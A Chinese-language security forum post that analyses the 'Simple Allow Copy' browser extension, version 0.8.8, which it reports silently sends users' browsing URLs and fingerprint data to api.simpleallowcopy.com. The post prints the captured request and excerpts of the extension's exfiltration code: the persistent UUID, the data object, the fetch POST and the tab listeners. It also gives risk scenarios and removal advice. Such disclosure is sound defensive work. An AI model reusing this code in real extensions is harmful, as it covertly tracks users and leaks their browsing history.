浏览器插件:Simple Allow Copy 正在监视你的一举一动
Brokevil WEB安全 4355浏览 · 2024-07-10 14:49

插件简述

"Simple Allow Copy"是一款可以帮助用户突破网页复制限制的浏览器扩展。它特别适用于那些禁止复制粘贴的网站,如百度文库、豆丁文库等。使用这款插件,用户可以轻松复制网页上的内容,无需手动输入或使用OCR工具。

该插件截止当前已有70万用户使用,高达70万用户个人隐私将受到影响。
存在问题的插件版本:0.8.8,更新时间为:2024年7月8日,如果你发现你的版本是0.8.8,那么极有可能已经被偷取信息(浏览器会在背后自动更新插件)。

事情起因

事情起因是当时正在挂着代理抓包时,突然发现浏览器无缘无故会向api.simpleallowcopy.com不断的发起请求。

直到查看了请求包才发现事情的严重性,因为它记录了我的所有网站URL以及浏览器一些指纹信息发送到api.simpleallowcopy.com网站中。

它记录了:请求时间、请求URL、UserAgent、域名、本地语言、用户ID、操作系统等等信息。
数据包:

POST /skip HTTP/1.1
Host: api.simpleallowcopy.com
User-Agent: xixi
Content-Type: application/json
Accept: */*
Origin: chrome-extension://aefehdhdciieocakfobpaaolhipkcpgc
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"timestamp":"","uri":"","user_agent":"","domain":"","locale":"","user_id":"","platform":"","referer":""}

分析过程

经历上述情况后,果断找到这个插件的目录,插件标识是:aefehdhdciieocakfobpaaolhipkcpgc,经过分析定位到了核心逻辑代码在:background/index.js中实现:

chrome.storage.local.get(["sacp"], (function(e) {
        if (void 0 === e.sacp) {
            let e = self.crypto.randomUUID();
            chrome.storage.local.set({
                sacp: e
            })
        }
    }));

首先该代码一开始就判断:如果在本地存储中没有找到sacp,则生成一个新的UUID并保存,这个UUID在整个窃取过程是比较重要的。


主要获取信息的逻辑是写在了I函数里面,I函数一开始是做了一些判断。

if (i && i.url) {
if (o[i.id] !== i.url || n !== i.id) {
    n = i.id;
    o[i.id] = i.url;
    setTimeout(() => {
        // 执行异步处理
    }, 0);
}

检查是否已经处理过当前标签页 URL,如果没有处理过则更新相关状态并进行处理发起请求。

let c = i.sacp;
cmta = {
    timestamp: Date()
        .toLocaleString(),
    uri: o.url,
    user_agent: navigator.userAgent,
    domain: n.hostname,
    locale: navigator.language,
    user_id: c || "",
    platform: navigator.platform || "",
    referer: o.initiator || ""
}

可以看到传递参数组成是由timestamp、uri、user_agent、domain、locale、user_id、platform、referer,这几个部分组成,当然还有一个隐藏参数,那就是IP地址,虽然参数中并没有IP,但实际上发起请求的时候就已经可以将请求人员IP进行存储。

async function(e, t) {
return (await fetch(e, {
        headers: {
            "Content-Type": "application/json"
        },
        method: "POST",
        body: JSON.stringify(t)
    }))
    .json()
}("https://api.simpleallowcopy.com/skip", cmta)

最后再通过异步的方式将数据发送至api.simpleallowcopy.com

我们知道了核心代码是在I函数中,那么I函数在什么情况下会调用呢,什么情况下该插件会记录请求信息:


1、标签页激活:
当用户切换到一个新的标签页时触发。

chrome.tabs.onActivated.addListener(() => { i(); });

2、标签页更新:
当当前标签页的 URL 发生变化时触发。

chrome.tabs.onUpdated.addListener(() => { i(); });

3、扩展图标点击:
当用户点击扩展图标时,函数 i 会被触发。

chrome.action.onClicked.addListener(() => {
    chrome.tabs.query({ active: true, currentWindow: true }, ([e]) => {
        e && proxy.invoke(e.id, "toggle");
    });
});

最终导致的危害就是每条URL访问记录都会被窃取

通过查询域名相关信息发现:

域名:api.simpleallowcopy.com
域名注册时间:2024年5月29日
插件更新时间:2024年7月8日

该域名是5月29注册,插件7月8日更新,也就是说这一次行动是有蓄谋有计划的,通过这种方式窃取用户个人信息。

危害场景

很多师傅可能心里会想,只是记录了请求的URL,好像并没有什么危害,确实,如果单纯从记录的url来说可能危害并不是很大,但是实际上这个影响是巨大的。
场景一:

  • 插件作者可以通过这些信息去分析安装了这个插件的人员真实身份、工作单位,甚至住址信息。
    为什么呢?插件一开始有这样的代码:let e = self.crypto.randomUUID();获取一个uuid。
    这个uuid是插件作者记录你的所有信息用的一个标识,如果你从24年7月8日安装该插件,一直使用到25年7月,整整一年的时间。插件作者可以通过后台根据该uuid去定位,该用户一年中访问过什么网站,比如你在这一年访问过公司网站,在百度上搜索过家庭住址、某个网站的用户信息是通过Get传输的。结合以上几个要素,很轻易的定位到这个uuid的详细身份信息。

场景二:

  • 敏感身份人员,如果单位互联网可用或者相关人员办公/个人电脑混用的情况,时间一长,这泄露的信息将会是致命的,例如历史原因导致的:用户密码信息、用户凭证信息GET明文传输的案例。想想都可怕。

场景三:

  • 红蓝队员,你正在攻击的目标,正在挖掘的漏洞,可能拆安作者拿来你访问的Payload就能直接打,可能插件作者很轻易的获取到某些网络/安全设备地址

处置建议

该卸载就卸载把,可能你现在是低版本不受影响,但是保不准哪天浏览器就给你默默升级插件了。
chrome禁止自动更新插件可屏蔽URL:https://clients2.google.com/service/update2/crx,如果不行以及其他浏览器那就得上百度研究了

以该插件为例,是否还会有其他插件存在这个情况呢(偷偷潜伏个几年)?上个网太难了!

1 条评论
某人
表情
可输入 255